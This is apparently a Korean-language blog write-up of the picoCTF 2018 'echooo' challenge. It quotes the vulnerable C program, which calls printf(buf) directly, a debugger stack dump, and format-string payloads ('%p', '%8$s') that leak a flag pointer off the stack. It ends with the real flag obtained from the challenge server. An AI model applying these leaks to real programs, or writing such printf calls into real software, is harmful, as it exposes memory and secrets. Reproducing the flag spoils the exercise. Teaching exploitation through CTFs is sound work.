제리의 블로그

picoCTF 2018 echooo Binary Exploitation 본문

CTF/pwnable

picoCTF 2018 echooo Binary Exploitation

j3rrry 2018. 10. 13. 11:43

echooo - Points: 300 - (Solves: 816)

요약

본 Writeup 은 Format String Bug (FSB) 를 다룹니다.

Description 을 보면
소스코드와 바이너리가 제공됩니다.

소스코드의 37번째 줄에서 FSB 취약점이 있습니다.
printf 에 넘겨지는 인자들이 스택을 통해 들어간다는 것을 통해
스택의 값을 leak 할 수 있는 취약점입니다.

지역변수 flag 를 알아내야 하는데
그 주소를 가리키고 있는 flag_ptr 가 존재한다는 것을 소스코드에서 알 수 있습니다.
디버깅을 통해 몇번째에 있는지 확인해보니
8번째라는 것을 알아냈습니다.

printf 에 8번째 값을 넘기면서 문자열 출력하도록 하면 플래그가 나옵니다.



Description

This program prints any input you give it.
Can you leak the flag?
Connect with nc 2018shell2.picoctf.com 23397.
Source.



Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");

  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);

  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }
  return 0;
}
flag는 main 함수의 지역변수로 저장되어있습니다.
그리고 13번째 줄에 flag_ptr 에 주소값을 저장합니다.
37번째 줄에서 Format String Bug 취약점이 있습니다.




디버깅

$ echo 'picoCTF{j3rrry}' > flag.txt
$ file ./echo
./echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped


.text:08048748 lea     eax, [ebp+buf]
.text:0804874E push    eax                             ; format
.text:0804874F call    _printf                         ; <- Breakpoint
0x804874F 에 BP 걸고
스택의 상황을 확인해보면


FFF4D840  FFF4D86C  [stack]:FFF4D86C             -> buf = "%p %p %p %p"
FFF4D844  00000040
FFF4D848  F7F255C0  libc_2.27.so:_IO_2_1_stdin_
FFF4D84C  08048647  main+4C
FFF4D850  F7F4AA29  ld_2.27.so:_dl_rtld_di_serinfo+3A9
FFF4D854  F63D4E2E
FFF4D858  F7F69AF8  ld_2.27.so:_r_debug+1D8
FFF4D85C  FFF4D9A4  [stack]:FFF4D9A4
FFF4D860  FFF4D8AC  [stack]:FFF4D8AC             -> char *flag_ptr = flag
첫번째 줄은 printf 에 인자로 들어갈 buf 의 주소이고
마지막 줄(9번째 줄)은 flag 를 가리키고있는 지역변수 flag_ptr 이다.
나머지는 쓰레기값이라고 봐도 무방할꺼같다

0x40 0xf7f255c0 0x8048647 0xf7f4aa29
위는 "%p %p %p %p" 를 printf 에 넘겼을 때의 결과값이다.


printf("%p %p %p %p", 0x40, 0xf7f255c0, 0x8048647, 0xf74aa29);
출력된 결과가
마치 위의 코드를 실행한 것처럼
스택에 저장된 순서대로 인자로 인식한 것으로 보인다.


> %1$p
0x40
> %2$p
0xf7f255c0
그리고 형식지정자를 다음과 같이 순서에 따라 지정할 수도 있다.
8번째 인자가 flag_ptr 이다. 이를 문자열 출력하도록하면 된다.


> %8$s
picoCTF{j3rrry}



플래그

# nc 2018shell2.picoctf.com 23397
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %8$s
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_254148ae}

>


Comments